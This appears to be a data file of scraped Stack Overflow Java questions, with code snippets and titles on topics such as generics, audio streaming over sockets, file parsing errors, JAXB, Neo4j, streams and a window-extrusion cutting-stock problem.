//github.com/apache/storm/blob/85a31e2fdec1ffef83e1ff438cd765a821fb06e4/external/storm-opentsdb/src/main/java/org/apache/storm/opentsdb/bolt/OpenTsdbBolt.java # L77https : //github.com/apache/storm/blob/85a31e2fdec1ffef83e1ff438cd765a821fb06e4/external/storm-opentsdb/src/main/java/org/apache/storm/opentsdb/bolt/TupleOpenTsdbDatapointMapper.java # L37",interface A { ... } class B implements A { ... } public void AAA ( List < A > list ) { ... } AAA ( Collections.singletonList ( new B ( ) ) ) ; public static < T > List < T > singletonList ( T o ) { return new SingletonList < > ( o ) ; },How JDK 8 's type inference works with generic ? +Java,I have a superclass like this which I expect alot of classes to inherit : All these classes will need to use an instance of myField . However the superclass does not . Have I made a bad design decision somewhere ?,public abstract class Super { protected Object myField ; //Not used anywhere in this class //a load more code here which does useful stuff },Is a superclass protected field which is only used in a subclass bad practice ? +Java,"I have a problem with creation of AudioInputStream from Socket . Here are the important parts : This code throws UnsupportedAudioFileException at this line : However when I use this code : it plays the sound but only after it loads those 100000 sample frames to the audioinputstream . After it plays all the 100000 frames it finishes.I guess that I would solve this issue if I could pass the AudioFormat directly as a parameter during the first AudioInputStream inicialization , but it does n't seem to be possible . I 'm receiving the audio format specifications from server.I think that one possible solution would be to create a dataline which I can pass as a parametr to AudioInputStream constructor . However I 'm not sure how to get the data from the socket directly to dataline . I know of a solution that uses infinite loop , in which it reads the data and writes them to the dataline . But it seems to be wasteful . Is there a more direct approach ? I hope it 's possible to solve using java-openAL library , because I need to change the speed and I hope I wo n't have to do it myself.Thanks","public class SoundStream extends Thread { private int port ; private String IP ; private Socket socket ; private SoundObject soundObject ; private OpenAL openAL ; private Source source ; private boolean run = true ; public SoundStream ( int port , String IP , SoundObject soundObject ) { this.soundObject = soundObject ; this.port = port ; this.IP = IP ; } public void run ( ) { try { this.socket = new Socket ( this.IP , this.port ) ; this.openAL = new OpenAL ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } this.mainCycleMethod ( ) ; } private void mainCycleMethod ( ) { while ( run ) { this.soundObject.blockAndWait ( ) ; switch ( this.soundObject.getAndResetEvent ( ) ) { case 0 : this.run = false ; this.close ( ) ; break ; case 1 : this.setPitch ( ) ; break ; case 2 : this.closeSource ( ) ; this.play ( ) ; break ; case 3 : this.pause ( true ) ; break ; case 4 : this.pause ( false ) ; break ; } } } private BufferedInputStream getInputStream ( ) throws Exception { return new BufferedInputStream ( socket.getInputStream ( ) ) ; } private void setPitch ( ) { if ( this.source ! = null ) { try { this.source.setPitch ( this.soundObject.getPitch ( ) ) ; } catch ( ALException e ) { e.printStackTrace ( ) ; } } } private void play ( ) { try { AudioInputStream audioInputStream = new AudioInputStream ( this.getInputStream ( ) , this.soundObject.getAudioFormat ( ) , AudioSystem.NOT_SPECIFIED ) ; // AudioInputStream audioInputStream_tmp = AudioSystem.getAudioInputStream ( this.getInputStream ( ) ) ; // AudioInputStream audioInputStream = AudioSystem.getAudioInputStream ( this.soundObject.getAudioFormat ( ) , audioInputStream_tmp ) ; this.source = openAL.createSource ( audioInputStream ) ; this.source.setGain ( 1f ) ; this.source.play ( ) ; } catch ( Exception ex ) { ex.printStackTrace ( ) ; } } private void close ( ) { this.closeSource ( ) ; this.openAL.close ( ) ; try { this.socket.close ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } } private void closeSource ( ) { if ( this.source ! =null ) { this.source.close ( ) ; } } private void pause ( boolean pause ) { if ( this.source ! = null ) { try { if ( pause ) { this.source.pause ( ) ; } else { this.source.play ( ) ; } } catch ( ALException ex ) { ex.printStackTrace ( ) ; } } } } public class SoundObject extends AbstractEventObject { public AudioFormat getAudioFormat ( ) { boolean signed = false ; //true , false boolean bigEndian = false ; //true , false return new AudioFormat ( this.frequency , this.bits , this.channels , signed , bigEndian ) ; } ... . } AudioInputStream audioInputStream_tmp = AudioSystem.getAudioInputStream ( this.getInputStream ( ) ) ; AudioInputStream audioInputStream = new AudioInputStream ( this.getInputStream ( ) , this.soundObject.getAudioFormat ( ) , 100000 ) ;",`` Endless '' AudioInputStream from socket +Java,"As this question asked for python , what is the equivalent of Haskell 's scanl in Java 's streams ? The best I 've come up with so far is to usewith an accumulator that keeps the latest result and accumulates the results in a list , though the combiner would presumably not be not used . I 'm also not sure how to prevent it from being used in parallel , where it would not work.Perhaps Stream is the wrong interface for ( an equivalent of ) scanl ?","reduce ( identity , accumulator , combiner )",What is the equivalent of Haskell 's scanl in Java 's streams ? +Java,"So I am making file reader/writer that can access a given file and save/read from it.I am having a problem while reading from the file . The contents are integers , string and double separated by `` | '' delimiters . I am using StringTokenizer to separate the tokens and save them to each individual variable but when I am reading the integers I get a NumberFormatException even though the string contains only an int.Here is the code : An example line of the file : And the error : Am I missing something here ? Is StringTokenizer tampering the string in some kind of way that I do n't know ? EDIT : Here is the code that creates the file :","FileReader fr = new FileReader ( filename ) ; BufferedReader buff = new BufferedReader ( fr ) ; String line ; while ( ( line = buff.readLine ( ) ) ! = null ) { StringTokenizer st = new StringTokenizer ( line , `` | '' ) ; while ( st.hasMoreElements ( ) ) { int Id = Integer.parseInt ( st.nextToken ( ) ) ; String Name = st.nextToken ( ) ; double cordX = Double.parseDouble ( st.nextToken ( ) ) ; double cordY = Double.parseDouble ( st.nextToken ( ) ) ; } } 8502113|Aarau|47.391355|8.051251 java.lang.NumberFormatException : For input string : `` 8502113 '' at java.lang.NumberFormatException.forInputString ( NumberFormatException.java:65 ) at java.lang.Integer.parseInt ( Integer.java:580 ) at java.lang.Integer.parseInt ( Integer.java:615 ) at storage.FileUtilities.readCitiesFromFile ( FileUtilities.java:63 ) at basics.Test.main ( Test.java:16 ) FileWriter fw = new FileWriter ( filename , ! overwrite ) ; // For FileWriter true = append , false = overwrite , so we flip the value . BufferedWriter buff = new BufferedWriter ( fw ) ; String coordConvertor ; for ( int i = 0 ; i < = cities.size ( ) - 1 ; i++ ) { buff.write ( Integer.toString ( cities.get ( i ) .getId ( ) ) ) ; buff.write ( `` | '' ) ; buff.write ( cities.get ( i ) .getName ( ) ) ; buff.write ( `` | '' ) ; coordConvertor = Double.toString ( cities.get ( i ) .getCoord ( ) .getX ( ) ) ; buff.write ( coordConvertor ) ; buff.write ( `` | '' ) ; coordConvertor = Double.toString ( cities.get ( i ) .getCoord ( ) .getY ( ) ) ; buff.write ( coordConvertor ) ; buff.newLine ( ) ;",NumberFormatException while parsing an int +Java,"for the request for my web service , I wanted to differ between requested null value and missing tag . In other words I needed the following element definition : I developed the web service code-first , so I defined the element using JAXBElementRef : Now , I expected to see nillable = `` true '' in the definition of the element . Instead , I got : How can I generate nillable = `` true '' from my java code ? ... and still use JAXBElement in my code and its methods like isNil ( ) ... UPDATE : I deploy the code on glassfish , so glassfish is the one that generates the wsdl and xsd .","< xs : element minOccurs= '' 0 '' name= '' minzeronil '' nillable= '' true '' type= '' xs : string '' / > @ XmlRegistrypublic class ObjectFactory { @ XmlElementDecl ( name = `` minzeronil '' , namespace = XmlNamespace.MY_SERVICE ) public JAXBElement < String > createMinzeronil ( final String value ) { return new JAXBElement < String > ( new QName ( XmlNamespace.MY_SERVICE , `` minzeronil '' ) , String.class , value ) ; } } < xs : element name= '' minzeronil '' type= '' xs : string '' / > < xs : element ref= '' tns : minzeronil '' minOccurs= '' 0 '' / >",JAXBElementRef does not generate nillable= '' true '' +Java,"I 'm running Neo4J 1.8 embedded , Java 6 , on CentOS.After a JVM crash I started getting a few exceptions of the following : I got a few more of those with different IDs.These exceptions are consistent when trying to load particular nodes , I 'm certain I was n't deleting any relationships.I get the same error ( org.neo4j.graphdb.NotFoundException : Unable to load one or more relationships ... ) when inspecting these nodes in the command line shell.It seems like a corruption of some sort . Any recommendation for how to fix it ?",org.neo4j.graphdb.NotFoundException : Unable to load one or more relationships from Node [ 1169385 ] . This usually happens when relationships are deleted by someone else just as we are about to load them . Please try again . at org.neo4j.kernel.impl.core.NodeImpl.loadMoreRelationshipsFromNodeManager ( NodeImpl.java:530 ) at org.neo4j.kernel.impl.core.NodeImpl.getMoreRelationships ( NodeImpl.java:415 ) at org.neo4j.kernel.impl.core.NodeImpl.loadInitialRelationships ( NodeImpl.java:368 ) at org.neo4j.kernel.impl.core.NodeImpl.ensureRelationshipMapNotNull ( NodeImpl.java:345 ) at org.neo4j.kernel.impl.core.NodeImpl.getAllRelationshipsOfType ( NodeImpl.java:195 ) at org.neo4j.kernel.impl.core.NodeImpl.getRelationships ( NodeImpl.java:247 ) at org.neo4j.kernel.impl.core.NodeProxy.getRelationships ( NodeProxy.java:92 ) at com.bizya.polosvc.neo4j.model.PersonImpl.getAllSelvesNoPropsLoad ( PersonImpl.java:1303 ) at com.bizya.polosvc.neo4j.model.PathsFinderImpl.findPaths ( PathsFinderImpl.java:189 ) at com.bizya.polosvc.neo4j.model.PathsFinderImpl.findPaths ( PathsFinderImpl.java:49 ) at com.bizya.server.services.ReachabilityService.findReachabilities ( ReachabilityService.java:82 ) at com.bizya.server.widget.BrowsingPageBuilder.buildAdditionalResultsModel ( BrowsingPageBuilder.java:97 ) at com.bizya.server.widget.ContextBrowsingPageBuilder.buildAdditionalResultsModel ( ContextBrowsingPageBuilder.java:81 ) at com.bizya.server.widget.ContextBrowsingPageBuilder.buildAdditionalResultsModel ( ContextBrowsingPageBuilder.java:71 ) at com.bizya.server.widget.servlet.NetworkServlet.doGet ( NetworkServlet.java:139 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:617 ) at com.bizya.server.widget.servlet.MasterWidgetServlet.handleAuthorizedUser ( MasterWidgetServlet.java:167 ) at com.bizya.server.widget.servlet.MasterWidgetServlet.service ( MasterWidgetServlet.java:150 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:717 ) at com.google.inject.servlet.ServletDefinition.doService ( ServletDefinition.java:263 ) at com.google.inject.servlet.ServletDefinition.service ( ServletDefinition.java:178 ) at com.google.inject.servlet.ManagedServletPipeline.service ( ManagedServletPipeline.java:91 ) at com.google.inject.servlet.FilterChainInvocation.doFilter ( FilterChainInvocation.java:62 ) at com.google.inject.servlet.FilterDefinition.doFilter ( FilterDefinition.java:168 ) at com.google.inject.servlet.FilterChainInvocation.doFilter ( FilterChainInvocation.java:58 ) at com.google.inject.servlet.ManagedFilterPipeline.dispatch ( ManagedFilterPipeline.java:118 ) at com.google.inject.servlet.GuiceFilter.doFilter ( GuiceFilter.java:113 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:235 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:206 ) at org.apache.catalina.core.StandardWrapperValve.invoke ( StandardWrapperValve.java:233 ) at org.apache.catalina.core.StandardContextValve.invoke ( StandardContextValve.java:191 ) at org.apache.catalina.core.StandardHostValve.invoke ( StandardHostValve.java:127 ) at org.apache.catalina.valves.ErrorReportValve.invoke ( ErrorReportValve.java:102 ) at org.apache.catalina.core.StandardEngineValve.invoke ( StandardEngineValve.java:109 ) at org.apache.catalina.connector.CoyoteAdapter.service ( CoyoteAdapter.java:298 ) at org.apache.coyote.ajp.AjpAprProcessor.process ( AjpAprProcessor.java:429 ) at org.apache.coyote.ajp.AjpAprProtocol $ AjpConnectionHandler.process ( AjpAprProtocol.java:384 ) at org.apache.tomcat.util.net.AprEndpoint $ Worker.run ( AprEndpoint.java:1665 ) at java.lang.Thread.run ( Thread.java:662 ) Caused by : org.neo4j.kernel.impl.nioneo.store.InvalidRecordException : Node [ 1169385 ] is neither firstNode [ 969258 ] nor secondNode [ 1170375 ] for Relationship [ 3477951 ] at org.neo4j.kernel.impl.nioneo.xa.ReadTransaction.getMoreRelationships ( ReadTransaction.java:167 ) at org.neo4j.kernel.impl.nioneo.xa.ReadTransaction.getMoreRelationships ( ReadTransaction.java:105 ) at org.neo4j.kernel.impl.persistence.PersistenceManager.getMoreRelationships ( PersistenceManager.java:108 ) at org.neo4j.kernel.impl.core.NodeManager.getMoreRelationships ( NodeManager.java:608 ) at org.neo4j.kernel.impl.core.NodeImpl.loadMoreRelationshipsFromNodeManager ( NodeImpl.java:527 ) ... 38 more,InvalidRecordException from Neo4J after a JVM crash +Java,"I read this Java 8 official docs : Streams may or may not have a defined encounter order . Whether or not a stream has an encounter order depends on the source and the intermediate operations . Certain stream sources ( such as List or arrays ) are intrinsically ordered , whereas others ( such as HashSet ) are not . If a stream is ordered , repeated execution of identical stream pipelines on an identical source will produce an identical result ; if it is not ordered , repeated execution might produce different results.Tried to understand the mentioned behaviour through this codeI ran this code many a times and the order of elements in resulting stream was always the same ( shown as comment ) . I am not able to figure it out how this justifies the above quoted text about `` Order not being preserved for an unordered collection '' .I am definitely misunderstanding the extracted text from javadocs .","public class StreamOrderValidator { public static void main ( String [ ] args ) { String [ ] colors=new String [ ] { `` red '' , '' green '' , '' blue '' , '' orange '' } ; List < String > colorsList=Arrays.asList ( colors ) ; HashSet < String > colorsSet=new HashSet < > ( ) ; colorsSet.addAll ( colorsList ) ; System.out.println ( colorsSet ) ; // [ red , orange , green , blue ] List < String > processedColorsSet = processStream ( colorsSet.stream ( ) ) ; System.out.println ( processedColorsSet ) ; // [ RED , ORANGE , GREEN , BLUE ] } private static List < String > processStream ( Stream < String > colorStream ) { List < String > processedColorsList = colorStream.filter ( s- > s.length ( ) < =6 ) . map ( String : :toUpperCase ) .collect ( Collectors.toList ( ) ) ; return processedColorsList ; } }",Understanding order of elements in stream generated from HashSet +Java,"I have an enum and want to use a static value as the argument in the constructor.In this example , SPECIAL_VALUE is accessed before it is initialized , so this clearly does n't work . I was wondering if there was a common solution . Or a reason why I should n't need to do this.NOTE : There 's probably a duplicate out there somewhere , but everything I can find has to do with using a static field in the body of the constructor , not as an argument , and I do n't think the solutions presented there are applicable .","public enum Enum { e1 ( 0 ) , e2 ( 1 ) , e3 ( SPECIAL_VALUE ) ; static int SPECIAL_VALUE = -1 ; int value ; private Enum ( int value ) { this.value = value ; } }",Use a static field defined in an enum as an argument in the constructor +Java,"Why does the following not compile ? The compiler gives an error for the + sign in the print line.I understand type erasure , but m is a HashMap < Integer , Integer > , it should not depend on the type < T > at all . Why is the compiler rejecting this ? Removing < T > in the first line allows compiling , but I do n't see why this should n't work as well.Is this a compiler bug or is there any logic behind such behavior ?","public class Test < T > { HashMap < Integer , Integer > m = new HashMap < Integer , Integer > ( ) ; public static void main ( String [ ] args ) { Integer zero1 = 0 ; Integer zero2 = 0 ; Test t = new Test ( ) ; t.m.put ( 1 , zero1 ) ; t.m.put ( 2 , zero2 ) ; System.out.println ( t.m.get ( 1 ) +t.m.get ( 2 ) ==t.m.get ( 2 ) ) ; } }",All HashMap type values erased in generic class ? +Java,i am new developer in android.i would like to write some content to a file i have used a method to write into a file as followshere i am passing path of a file and text to write.if i use in this way i can write the data but the previous data is losing.how can i append or insert the latest text into a file without losing previous text ? Thanks in advance,"public void writeFile ( String path , String text ) { try { Writer output = null ; File file = new File ( path ) ; output = new BufferedWriter ( new FileWriter ( file ) ) ; output.write ( text ) ; output.close ( ) ; System.out.println ( `` Your file has been written '' ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; }",how to append the written data to a file ? +Java,"Generic specialization along with value types are a projected feature of future JVMs ; link to the Valhalla project page here.Now , from what I understand , it would then become possible to declare a : But then List defines another .remove ( ) method in addition to the one defined in the Collection interface , which takes an int as an argument which is the index in the list to remove ; that is why , currently , the content of list in the example below : will be [ 1 , 2 ] and not [ 1 , 3 ] ( the most specific overload is chosen ) .However , if in the future we are able to declare a List < int > , we have a problem : what overload of the remove method will be chosen ?",final List < int > myList = new ArrayList < > ( ) ; // for instance final List < Integer > list = new ArrayList < > ( ) ; list.add ( 1 ) ; list.add ( 2 ) ; list.add ( 3 ) ; list.remove ( 2 ) ;,"Projected generic specialization in Java 9 or later , vs List < int > : how will .remove ( ) work ?" +Java,I try to put some strings to CharBuffer with CharBuffer.put ( ) functionbut the buffer is left blank.my code : I tried to use with clear ( ) or rewind ( ) after allocate ( 1000 ) but that did not change the result .,CharBuffer charBuf = CharBuffer.allocate ( 1000 ) ; for ( int i = 0 ; i < 10 ; i++ ) { String text = `` testing '' + i + `` \n '' ; charBuf.put ( text ) ; } System.out.println ( charBuf ) ;,CharBuffer.put ( ) did n't working +Java,What is different between transient final int and transient final Integer.Using int : Before Serialization : After serialization : Using Integer : Before Serialization : After serialization : full code : },transient final int a = 10 ; a = 10 a = 10 transient final Integer a = 10 ; a = 10 a = null public class App implements Serializable { transient final Integer transientFinal = 10 ; public static void main ( String [ ] args ) { try { ObjectOutputStream o = new ObjectOutputStream ( new FileOutputStream ( `` logInfo.out '' ) ) ; App a = new App ( ) ; System.out.println ( `` Before Serialization ... '' ) ; System.out.println ( `` transientFinalString = `` + a.transientFinal ) ; o.writeObject ( a ) ; o.close ( ) ; } catch ( Exception e ) { // deal with exception e.printStackTrace ( ) ; } try { ObjectInputStream in = new ObjectInputStream ( new FileInputStream ( `` logInfo.out '' ) ) ; App x = ( App ) in.readObject ( ) ; System.out.println ( `` After Serialization ... '' ) ; System.out.println ( `` transientFinalString = `` + x.transientFinal ) ; } catch ( Exception e ) { // deal with exception e.printStackTrace ( ) ; } },Different between transient final of primitive type and transient final wrapper type +Java,"A Java lambda referencing an element from its enclosing scope holds a reference to its enclosing object . A contrived example , with lambda holding ref to MyClass : This is problematic if the lifetime of the lambda is long ; then we 've got a ref to MyClass that is long-lived , when it would have otherwise gone out of scope . Here we can optimize by replacing the lambda with a private static class , so that we 're only holding a reference to the String we need rather than to the entire class : Unfortunately this is super verbose and destroys the nice syntax we get from using ( effectively final ) variables from enclosing scope in lambdas . Is this technically optimal ? Is there always a tradeoff here between nice syntax and the possibility of keeping a ref longer than necessary ?",class MyClass { final String foo = `` foo '' ; public Consumer < String > getFn ( ) { return bar - > System.out.println ( bar + foo ) ; } } class MyClass { private static class PrintConsumer implements Consumer < String > { String foo ; PrintConsumer ( String foo ) { this.foo = foo ; } @ Override public void accept ( String bar ) { System.out.println ( bar + foo ) ; } } final String foo = `` foo '' ; public Consumer < String > getFn ( ) { return new PrintConsumer ( foo ) ; } },Java Lambda Referencing Enclosing Object : Replace with Private Static Class ? +Java,"When I try to convert using Java 8 streams , I get a compile error : Incompatible types Required : List Found : java.lang.Object","ArrayList list = new ArrayList ( ) ; list.add ( `` Test '' ) ; list.add ( `` Java '' ) ; list.add ( `` Other '' ) ; //This wo n't compile List < String > strings = list.stream ( ) .map ( object - > Objects.toString ( object , null ) ) .collect ( Collectors.toList ( ) ) ;",How convert a non-generic List to a List < String > ? +Java,"Strangely the default JDK 6 implementation of AbstractList : :equals ( ) does not seems to check first if the two lists have the same size : If both lists contains lots of items , or items taking time to compare , it will compare them all before realizing that one list is shorter than the other ; which seems to me really inefficient as the equality could have been made without even calling one compare . Especially that for lots of situations lists sizes would most of the time differ . Furthermore , most Java List implementations have O ( 1 ) size ( ) performance ( even LinkedList , which keep its size in cache ) .Is there a good reason for this default implementation ?",public boolean equals ( Object o ) { if ( o == this ) return true ; if ( ! ( o instanceof List ) ) return false ; ListIterator < E > e1 = listIterator ( ) ; ListIterator e2 = ( ( List ) o ) .listIterator ( ) ; while ( e1.hasNext ( ) & & e2.hasNext ( ) ) { E o1 = e1.next ( ) ; Object o2 = e2.next ( ) ; if ( ! ( o1==null ? o2==null : o1.equals ( o2 ) ) ) return false ; } return ! ( e1.hasNext ( ) || e2.hasNext ( ) ) ; },JDK implementation of AbstractList : :equals ( ) does not check for list size equality first +Java,"When I run this class the for loop seems to terminate earlyOutput is : Why does it end there ? Interestingly if I removed the System.out.println ( i ) in the for loop , the output would be End : -2147483647 . Obviously the value in i has wrapped round.The Java version I 'm using is","class Test { public static void main ( String [ ] args ) { int result = 0 ; int end = Integer.MAX_VALUE ; int i ; for ( i = 1 ; i < = end ; i += 2 ) { System.out.println ( i ) ; } System.out.println ( `` End : '' + i ) ; } } 135 ... 3117331175End:31177 Java ( TM ) SE Runtime Environment ( build 1.6.0_16-b01 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 14.2-b01 , mixed mode )",for loop terminating early when comparing to Integer.MAX_VALUE and using System.out.println +Java,"I managed to configure a custom implementation of the CommonJ − JSR 237 Timer & WorkManager API ( http : //commonj.myfoo.de ) as a JNDI resource on Jetty 6 and 8 , but it only works in a global scope.With this solution JNDI name of the resource is wm/WorkManager , I need it to be java : comp/env/wm/WorkManager , but due to restrictions , I can not use java : comp/env in a global JNDI name because it 's reserved to application scoped resources.I 've created a new configuration file called { jetty.home } /etc/jetty-wtm.xml and added to { jetty.home } /start.ini.Here is jetty-wtm.xmlcontent for Jetty 6 , for greater versions it 's a bit different , but works too : I need to mantain standard JNDI naming java : comp/env/ { RESOURCE } specifically java : comp/env/wm/MyWorkManageracross servers , but standard WEB-INF\jetty-env.xml configuration file does n't work.Any ideas ? UPDATE : I 've tested the jetty-env.xml local configuration file in Jetty 9 and it works as expected . It seems in versions under 9 JNDI it 's not fully supported . Here is the configuration file contents :",< ! -- =============================================================== -- > < ! -- Configure Server Time and Work Managers -- > < ! -- =============================================================== -- > < Configure id= '' Server '' class= '' org.mortbay.jetty.Server '' > < New id= '' WorkManager '' class= '' org.mortbay.jetty.plus.naming.Resource '' > < Arg > wm/WorkManager < /Arg > < Arg > < New class= '' de.myfoo.commonj.work.FooWorkManager '' > < Arg > < New id= '' threadPool '' class= '' de.myfoo.commonj.util.ThreadPool '' > < Arg type= '' int '' > 0 < /Arg > < Arg type= '' int '' > 10 < /Arg > < Arg type= '' int '' > 2 < /Arg > < /New > < /Arg > < /New > < /Arg > < /New > < New id= '' TimeManager '' class= '' org.mortbay.jetty.plus.naming.Resource '' > < Arg > tm/TimeManager < /Arg > < Arg > < New class= '' de.myfoo.commonj.timers.FooTimerManager '' > < Arg > < New id= '' threadPool '' class= '' de.myfoo.commonj.util.ThreadPool '' > < Arg type= '' int '' > 0 < /Arg > < Arg type= '' int '' > 10 < /Arg > < Arg type= '' int '' > 2 < /Arg > < /New > < /Arg > < /New > < /Arg > < /New > < /Configure > < Configure id= '' wac '' class= '' org.eclipse.jetty.webapp.WebAppContext '' > < New id= '' WorkManager '' class= '' org.eclipse.jetty.plus.jndi.Resource '' > < Arg > < Ref id= '' wac '' / > < /Arg > < Arg > wm/MyWorkManager < /Arg > < Arg > < New class= '' de.myfoo.commonj.work.FooWorkManager '' > < Arg > < New id= '' threadPool '' class= '' de.myfoo.commonj.util.ThreadPool '' > < Arg type= '' int '' > 0 < /Arg > < Arg type= '' int '' > 10 < /Arg > < Arg type= '' int '' > 2 < /Arg > < /New > < /Arg > < /New > < /Arg > < /New > < /Configure >,Enable programmatic concurrency on Jetty with WorkManager +Java,"I had a piece of code my professor commented on , saying that `` this is called a squelch '' and that it 's a huge sin in programming . Here 's the code I had , The `` squelch '' was within the catch ( ) . I have kind of an idea from research what this is , but if someone could explain it to me in simpler terms , I 'd appreciate it . Also how to avoid a squelch would be nice , too . Also , if it helps , that bit of code also includes in another class , which is what is printed out when a user enters an invalid file name.I do n't understand any of this exception stuff well yet , and my professor simply asked for something that prints out a nice message to the user instead of a stack trace .",if ( command.matches ( input ) ) { try { command.execute ( ) ; } catch ( UniversalException e ) { } return ; } public UniversalException ( ) { System.out.println ( `` The file you entered could not be located . Please try again . `` ) ; },What is a squelch in java ? +Java,"In order to explore some solutions , I need to generate all possibilities . I 'm doing it by using bit masking , like this : this allow me to explore ( if NB=3 ) : My problem is that the best solution is the one with the lowest number of 1.So , in order to stop the search as soon as I found a solution , I would like to have a different order and produce something like this : That would make the search a lot faster since I could stop as soon as I get the first solution . But I do n't know how can I change my loop to get this output ... PS : NB is undefined ...",for ( long i = 0 ; i < 1L < < NB ; i++ ) { System.out.println ( Long.toBinaryString ( i ) ) ; if ( checkSolution ( i ) ) { this.add ( i ) ; // add i to solutions } } this.getBest ( ) ; // get the solution with lowest number of 1 000001010011100101110111 000001010100011101110111,Bit mask generation to minimize number of 1 +Java,"I want to write an apps that accepts user command . The user command is used in this format : command -parameterFor example , the app can have `` Copy '' , `` Paste '' , `` Delete '' commandI am thinking the program should work like this : So , it works , but I think it will become more and more complex when I have more command in my program , also , it is different to read . Any ideas to simply the logic ?",public static void main ( String args [ ] ) { if ( args [ 0 ] .equalsIgnoreCase ( `` COPY '' ) ) { //handle the copy command } else if ( args [ 0 ] .equalsIgnoreCase ( `` PASTE '' ) ) { //handle the copy command } /** code skipped **/ },How to simplify this logic/code ? +Java,I 'm testing the new closure features of Java 8 ; I 'm wondering why this piece of code gives the error : both method z ( IFA ) in Test8 and method z ( IFB ) in Test8 match error on z invocation in the run methodIs n't the compiler able to detect that the forceA invocation forces x to be of type A and thus the correct z to use is z ( IFA fun ) ? ( a similar function is legal in C # using delegate ; is there a way to get the same result in Java 8 ? ),public class Test8 { private class A { int a ; } private class B { int b ; } interface IFA { void ifa ( A param ) ; } interface IFB { void ifb ( B param ) ; } private void forceA ( A expr ) { } private void z ( IFA fun ) { System.out.println ( `` A '' ) ; fun.ifa ( new A ( ) ) ; } private void z ( IFB fun ) { System.out.println ( `` B '' ) ; fun.ifb ( new B ( ) ) ; } public void run ( ) { z ( x - > forceA ( x ) ) ; } public static void main ( String args [ ] ) { new Test8 ( ) .run ( ) ; } },Java 8 closures and type recognition +Java,"I 'm using Optional parameters for my Rest controller , in my case to distinguish which method to call : Why does the highest voted response of the thread below propose that `` Using Optional parameters causing conditional logic inside the methods is literally contra-productive . `` ? Why should Java 8 's Optional not be used in argumentsI do exactly that and consider it as the most readable and straight forward solution . What is bad with this approach ?","@ GetMapping ( `` /cars '' ) @ ResponseBodypublic List < CarsDTO > getAllCarsByCat ( @ RequestParam Optional < Integer > cat1 , @ RequestParam Optional < Integer > cat2 ) { if ( cat1.isPresent ( ) & & cat2.isPresent ( ) ) return carsService.getAllCarsByCat1AndCat2 ( cat1.get ( ) , cat2.get ( ) ) ; else if ( cat1.isPresent ( ) ) return carsService.getAllCarsByCat1 ( cat1.get ( ) ) ; else if ( cat2.isPresent ( ) ) return carsService.getAllCarsByCat2 ( cat2.get ( ) ) ; else return carsService.getAllCars ( ) ; }",Optional parameters for Request Param is a bad practise ? +Java,"In his book Effective Java , Joshua Bloch recommends against using Interfaces to hold constants , The constant interface pattern is a poor use of interfaces . That a class uses some constants internally is an implementation detail . Implementing a constant interface causes this implementation detail to leak into the class ’ s exported API . It is of no consequence to the users of a class that the class implements a constant interface . In fact , it may even confuse them . Worse , it represents a commitment : if in a future release the class is modified so that it no longer needs to use the con-stants , it still must implement the interface to ensure binary compatibility . If a nonfinal class implements a constant interface , all of its subclasses will have their namespaces polluted by the constants in the interface.His reasoning makes sense to me and it seems to be the prevailing logic whenever the question is brought up but it overlooks storing constants in interfaces and then NOT implementing them.For instance , I work with someone who uses this method all the time . I tend to use class with private constructors to hold my constants , but I 've started using interfaces in this manner to keep our code a consistent style . Are there any reasons to not use interfaces in the way I 've outlined above ? Essentially it 's a short hand that prevents you from having to make a class private , since an interface can not be initialized .","public interface SomeInterface { public static final String FOO = `` example '' ; } public class SomeOtherClass { //notice that this class does not implement anything public void foo ( ) { thisIsJustAnExample ( `` Designed to be short '' , SomeInteface.FOO ) ; } }",Reasoning behind not using non-implemented Interfaces to hold constants ? +Java,"I am trying to display the gridlines of a GridPane Scene in JavaFX , but they are n't being displayed despite calling setGridLinesVisible ( true ) . What am I doing wrong ? I want to display the gridlines on my program 's main menu , so I can tell where to place nodes on it . Unfortunately , when I run the program all that is displayed is a blank screen with a single button.My MainMenu Class : My Main Class : This is Displayed :","package screens ; import javafx.scene.layout.GridPane ; import javafx.scene.layout.Pane ; /** * Creates the main menu Pane object and returns it . * @ author LuminousNutria */public class MainMenu { public MainMenu ( ) { } public Pane getPane ( ) { GridPane grid = new GridPane ( ) ; grid.setGridLinesVisible ( true ) ; Button bttn = new Button ( `` button '' ) ; grid.add ( bttn , 2 , 2 ) ; return grid ; } } package mainPackage ; import screens . * ; import javafx.application.Application ; import javafx.stage.Stage ; import javafx.scene.Scene ; import javafx.scene.layout.Pane ; /** * Displays the Pane . * @ author LuminousNutria */public class Main extends Application { // create main menu Pane private Pane mainMenu = new MainMenu ( ) .getPane ( ) ; // create Scene private Scene scene = new Scene ( mainMenu , 1600 , 900 ) ; @ Override public void start ( Stage stage ) { stage.setScene ( scene ) ; stage.show ( ) ; } public static void main ( String [ ] args ) { launch ( args ) ; } }",GridPane layout debugging lines are n't displayed as expected when calling setGridLinesVisible ( true ) +Java,"EDIT ( 31-12-2019 ) - https : //jonathan.overholt.org/projects/cutlistAbove is the link of the free project which is what exactly I am looking for . I am just looking for proper guidance so that I can make it work.I am working on minimizing the wastage of aluminium extrusion cutting for Aluminium Sliding Window Fabricators and I am not able to figure out which Algorithm/Data Structure I should go with for the problem.I have done basic research and found that the problem falls in Cutting Stock Problem ( Also called One dimensional cutting problem ) , Linear Programming Problem , Greedy Algorithm . BUT I am unable to decide which one I should go with and also how to start with.Brief about the problem : Basically the window fabricators have 3 sizes of material options to purchase.Now the input would be the size of Window.WIDTH x HEIGHT ( IN FT ) 1 ) 6 x 8 - 10 Windows2 ) 9 x 3 - 20 WindowsThe calculation is ( 2 x Width ) + ( 2 x Height ) . So from the above sizes of window , they need extrusion as follow.1 ) 6 ' ( FT ) Size Pieces - > 2 x 10 = 202 ) 8 ' ( FT ) Size Pieces - > 2 x 10 = 203 ) 9 ' ( FT ) Size Pieces - > 2 x 20 = 404 ) 3 ' ( FT ) Size Pieces - > 2 x 20 = 40Using knapsack , we can find out the combination but it has restriction of having size to 1 only whereas here in my case I have 3 different sizes available out of which I would like to generate the best optimum combination for the cutting stock problem.I would need help in how should I proceed for the above problem with respect to data structure and algorithm in Java or any other language . My knowledge in Maths is not up to 